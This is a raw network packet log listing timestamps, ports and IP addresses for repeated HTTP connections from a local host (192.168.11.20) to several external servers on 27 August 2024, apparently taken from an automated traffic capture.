Aug 27, 2024 08:04:05.899287939 CEST	80	49909	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:05.899544954 CEST	49909	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:07.297240019 CEST	49909	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.316378117 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.417213917 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.417397022 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.425949097 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.426000118 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.426045895 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.526738882 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.526751041 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.526772976 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.526782036 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.526906967 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.526913881 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.526918888 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.526966095 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.526995897 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.527012110 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.527184010 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.527185917 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.527245045 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.527254105 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.527352095 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.527439117 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.527632952 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.544146061 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.544998884 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.545123100 CEST	49910	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:08.627629995 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.627741098 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.627856970 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.627985954 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628077030 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628089905 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628185034 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628211975 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628321886 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628334045 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628451109 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628463030 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628473997 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628571033 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.628798008 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:08.645836115 CEST	80	49910	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:10.954711914 CEST	49911	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:11.055474997 CEST	80	49911	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:11.055656910 CEST	49911	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:11.060709953 CEST	49911	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:11.161426067 CEST	80	49911	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:11.175339937 CEST	80	49911	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:11.175916910 CEST	80	49911	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:11.176039934 CEST	49911	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:11.177443027 CEST	49911	80	192.168.11.20	172.67.191.241
Aug 27, 2024 08:04:11.278031111 CEST	80	49911	172.67.191.241	192.168.11.20
Aug 27, 2024 08:04:16.190690994 CEST	49912	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:16.291469097 CEST	80	49912	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:16.291621923 CEST	49912	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:16.299103022 CEST	49912	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:16.399816036 CEST	80	49912	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:16.565432072 CEST	80	49912	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:16.565443993 CEST	80	49912	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:16.565560102 CEST	49912	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:16.566296101 CEST	80	49912	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:16.566391945 CEST	49912	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:17.810543060 CEST	49912	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:18.828059912 CEST	49913	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:18.928631067 CEST	80	49913	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:18.928853035 CEST	49913	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:18.936269045 CEST	49913	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:19.036906004 CEST	80	49913	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:19.188381910 CEST	80	49913	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:19.188461065 CEST	80	49913	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:19.188469887 CEST	80	49913	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:19.188671112 CEST	49913	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:19.189217091 CEST	80	49913	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:19.189311981 CEST	49913	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:20.450584888 CEST	49913	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.468240976 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.568836927 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.568958044 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.578556061 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.578605890 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.578659058 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.679105043 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679193974 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679203033 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679269075 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.679318905 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679321051 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.679332972 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679474115 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679538965 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.679582119 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679590940 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679600000 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679708004 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.679729939 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.679878950 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.680047035 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.780204058 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780273914 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780286074 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780345917 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.780395985 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.780407906 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780417919 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780555010 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780616999 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.780683041 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780767918 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.780783892 CEST	49914	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:21.780919075 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.781147957 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.781269073 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.781439066 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.881041050 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.881129980 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.881356001 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.881479979 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.881606102 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:21.881614923 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:22.023859978 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:22.023870945 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:22.023935080 CEST	80	49914	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:24.108274937 CEST	49915	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:24.209012032 CEST	80	49915	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:24.209168911 CEST	49915	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:24.214206934 CEST	49915	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:24.314798117 CEST	80	49915	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:24.487061977 CEST	80	49915	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:24.487073898 CEST	80	49915	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:24.487122059 CEST	80	49915	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:24.487426043 CEST	49915	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:24.490741014 CEST	49915	80	192.168.11.20	172.67.166.145
Aug 27, 2024 08:04:24.591355085 CEST	80	49915	172.67.166.145	192.168.11.20
Aug 27, 2024 08:04:29.499682903 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:29.663753986 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.664031029 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:29.671473980 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:29.835544109 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841197014 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841300964 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841355085 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841423035 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841545105 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:29.841547012 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841572046 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:29.841722965 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841736078 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841747046 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841758966 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841799974 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:29.841897011 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:29.841974974 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:30.006048918 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:30.006127119 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:30.006186008 CEST	80	49916	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:30.006347895 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:31.182678938 CEST	49916	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.199990034 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.365150928 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.365370989 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.373034954 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.538455009 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.544738054 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.544775009 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.544940948 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.544955015 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.544996977 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545026064 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545136929 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545147896 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.545183897 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545212984 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545376062 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.545454025 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545488119 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.545659065 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.710145950 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.710201025 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.710288048 CEST	80	49917	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:32.710422993 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:32.710422993 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:33.885272026 CEST	49917	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:34.902570009 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.067718029 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.067930937 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.077394009 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.077414036 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.077461004 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.244107962 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.244118929 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.244158030 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.244333982 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.244508028 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.244543076 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.244553089 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.244853973 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.245032072 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.410401106 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.410492897 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.410504103 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.410626888 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.410715103 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.410795927 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.410962105 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.411582947 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.411679983 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.411688089 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.411926985 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.575594902 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.575690985 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.575855970 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.576242924 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.576432943 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.576689005 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594274044 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594376087 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594501972 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594516993 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594528913 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594624043 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594638109 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594703913 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.594736099 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.594858885 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.594891071 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.595010042 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.595041990 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.595201969 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.759757996 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.759849072 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.759968042 CEST	80	49918	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:35.760044098 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:35.760247946 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:36.587763071 CEST	49918	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.607280016 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.771485090 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.771660089 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.776644945 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.940485001 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945152998 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945256948 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945271015 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945394039 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945421934 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945492029 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945569038 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.945570946 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.945604086 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945635080 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945651054 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.945785046 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:37.945831060 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.945844889 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:37.946048021 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:38.109497070 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:38.109565020 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:38.109615088 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:38.109816074 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:38.109911919 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:38.113276958 CEST	49919	80	192.168.11.20	203.161.46.205
Aug 27, 2024 08:04:38.277681112 CEST	80	49919	203.161.46.205	192.168.11.20
Aug 27, 2024 08:04:43.119656086 CEST	49920	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:43.381724119 CEST	80	49920	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:43.382014036 CEST	49920	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:43.390801907 CEST	49920	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:43.652726889 CEST	80	49920	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:43.652978897 CEST	80	49920	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:43.653136969 CEST	80	49920	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:43.653151989 CEST	80	49920	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:43.653176069 CEST	80	49920	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:43.653287888 CEST	49920	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:43.653287888 CEST	49920	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:44.898439884 CEST	49920	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:45.915816069 CEST	49921	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:46.178663969 CEST	80	49921	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:46.178910971 CEST	49921	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:46.186429977 CEST	49921	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:46.449610949 CEST	80	49921	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:46.449707031 CEST	80	49921	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:46.449721098 CEST	80	49921	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:46.449842930 CEST	80	49921	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:46.449934959 CEST	80	49921	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:46.450056076 CEST	49921	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:46.450134993 CEST	49921	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:47.694695950 CEST	49921	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:48.712038994 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:48.978426933 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:48.978678942 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:48.987231970 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:48.987271070 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:48.987344980 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.253683090 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.253784895 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.253796101 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.253895998 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.253905058 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.254020929 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.254106998 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.254168034 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.254268885 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.254292011 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.254314899 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.254323959 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.254420042 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.254606962 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.254606962 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.294912100 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.295052052 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.295202971 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.520564079 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.520675898 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.520747900 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.520796061 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.520890951 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.520994902 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521059036 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.521127939 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521138906 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521214008 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.521317959 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521398067 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.521483898 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521565914 CEST	49922	80	192.168.11.20	18.183.3.45
Aug 27, 2024 08:04:49.521579981 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521703959 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.521826982 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.522160053 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.561332941 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.787220001 CEST	80	49922	18.183.3.45	192.168.11.20
Aug 27, 2024 08:04:49.787342072 CEST	80	49922	18.183.3.45	192.168.11.20
